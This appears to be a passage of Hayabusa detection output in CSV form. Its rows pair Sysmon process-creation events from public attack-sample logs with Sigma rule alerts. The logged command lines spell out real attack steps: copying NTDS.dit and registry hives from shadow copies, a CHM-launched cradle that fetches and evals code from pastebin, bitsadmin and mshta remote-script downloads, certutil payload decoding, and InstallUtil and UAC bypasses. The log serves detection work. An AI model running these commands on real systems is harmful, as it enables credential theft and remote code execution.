C:\Atomic_Red_Team q q"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.884 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.971 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe create shadow /for=C:"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.989 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: vssadmin.exe create shadow /for=C: : Path: C:\Windows\System32\vssadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe create shadow /for=C:""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.989 +09:00,MSEDGEWIN10,1,medium,Shadow Copies Creation Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.082 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.169 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Extract\ntds.dit"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.169 +09:00,MSEDGEWIN10,1,high,Copying Sensitive Files with Credential Data,,rules/sigma/process_creation/win_copying_sensitive_files_with_credential_data.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.202 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Extract\VSC_SYSTEM_HIVE"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.202 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.202 +09:00,MSEDGEWIN10,1,high,Copying Sensitive Files with Credential Data,,rules/sigma/process_creation/win_copying_sensitive_files_with_credential_data.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.233 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SYSTEM C:\Extract\SYSTEM_HIVE"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.258 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\SYSTEM C:\Extract\SYSTEM_HIVE : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SYSTEM C:\Extract\SYSTEM_HIVE""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:50.764 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:12:05.755 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\NOTEPAD.EXE"" C:\AtomicRedTeam\atomics\T1003\T1003.md : Path: C:\Windows\System32\notepad.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-26 16:39:14.375 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\hh.exe"" C:\Users\IEUser\Desktop\Fax Record N104F.chm : Path: C:\Windows\hh.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.375 +09:00,MSEDGEWIN10,1,high,HH.exe Execution,,rules/sigma/process_creation/win_hh_chm.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.935 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c copy /Y C:\Windows\system32\rundll32.exe %%TEMP%%\out.exe > nul && %%TEMP%%\out.exe javascript:""\..\mshtml RunHTMLApplication "";document.write();h=new%%20ActiveXObject(""WinHttp.WinHttpRequest.5.1"");h.Open(""GET"",""http://pastebin.com/raw/y2CjnRtH"",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%%20ActiveXObject(""WScript.Shell"").Run(""cmd /c taskkill /f /im out.exe"",0,true);} : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\hh.exe"" C:\Users\IEUser\Desktop\Fax Record N104F.chm",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.935 +09:00,MSEDGEWIN10,1,high,HTML Help Shell Spawn,,rules/sigma/process_creation/win_html_help_spawn.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-26 16:39:14.935 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_Exec_CompiledHTML.evtx +2019-07-28 07:43:41.424 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\UACBypass.exe"" : Path: C:\Users\IEUser\Downloads\UACBypass.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:41.424 +09:00,MSEDGEWIN10,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.033 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: PrivEsc - UACBypass Mocking Trusted WinFolders : Command: ""C:\Windows \System32\winSAT.exe"" formal : Path: C:\Windows \System32\winSAT.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\UACBypass.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.033 +09:00,MSEDGEWIN10,1,critical,TrustedPath UAC Bypass Pattern,,rules/sigma/process_creation/win_susp_uac_bypass_trustedpath.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.161 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6820 324 0000022557280720 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.392 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: PrivEsc - UACBypass Mocking Trusted WinFolders : Command: ""C:\Windows \System32\winSAT.exe"" formal : Path: C:\Windows \System32\winSAT.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\UACBypass.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-28 07:43:42.392 +09:00,MSEDGEWIN10,1,critical,TrustedPath UAC Bypass Pattern,,rules/sigma/process_creation/win_susp_uac_bypass_trustedpath.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_7_1_uacbypass_windirectory_mocking.evtx +2019-07-30 06:11:17.364 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\control.exe"" ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"", : Path: C:\Windows\System32\control.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.587 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\rundll32.exe"" Shell32.dll,Control_RunDLL ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"", : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\control.exe"" ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"",",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.587 +09:00,MSEDGEWIN10,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.621 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"", : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\rundll32.exe"" Shell32.dll,Control_RunDLL ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"",",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:17.621 +09:00,MSEDGEWIN10,1,high,Suspicious Call by Ordinal,,rules/sigma/process_creation/win_susp_rundll32_by_ordinal.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:19.098 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\wscript.exe"" /e:JScript.Encode /nologo C:\Users\IEUser\AppData\Local\Temp\info.txt : Path: C:\Windows\SysWOW64\wscript.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 ""C:\Users\IEUser\Downloads\Invoice@0582.cpl"",",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:11:19.098 +09:00,MSEDGEWIN10,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_1_11_rundll32_cpl_ostap.evtx +2019-07-30 06:32:55.583 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6336 362 00000298E04230D0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:57.633 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:58.659 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c certutil -f -decode fi.b64 AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:58.659 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:58.711 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:59.234 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: certutil -f -decode fi.b64 AllTheThings.dll : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c certutil -f -decode fi.b64 AllTheThings.dll ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:32:59.234 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.193 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c bitsadmin.exe /transfer ""JobName"" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt ""C:\Windows\system32\Default_File_Path.ps1"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.254 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c powershell -c ""Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.254 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.886 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: bitsadmin.exe /transfer ""JobName"" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt ""C:\Windows\system32\Default_File_Path.ps1"" : Path: C:\Windows\System32\bitsadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c bitsadmin.exe /transfer ""JobName"" https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt ""C:\Windows\system32\Default_File_Path.ps1""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.886 +09:00,MSEDGEWIN10,1,medium,Bitsadmin Download,,rules/sigma/process_creation/win_process_creation_bitsadmin_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell -c ""Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1 : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c powershell -c ""Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,high,Suspicious Bitsadmin Job via PowerShell,,rules/sigma/process_creation/win_powershell_bitsjob.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:03.966 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:04.008 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.202 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.202 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.318 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:08.446 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:13.214 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:13.214 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:13.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.286 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close(); : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.310 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close(); : Path: C:\Windows\System32\mshta.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c mshta.exe javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close();",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,high,Mshta JavaScript Execution,,rules/sigma/process_creation/win_mshta_javascript.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:18.583 +09:00,MSEDGEWIN10,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:20.186 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: mshta.exe 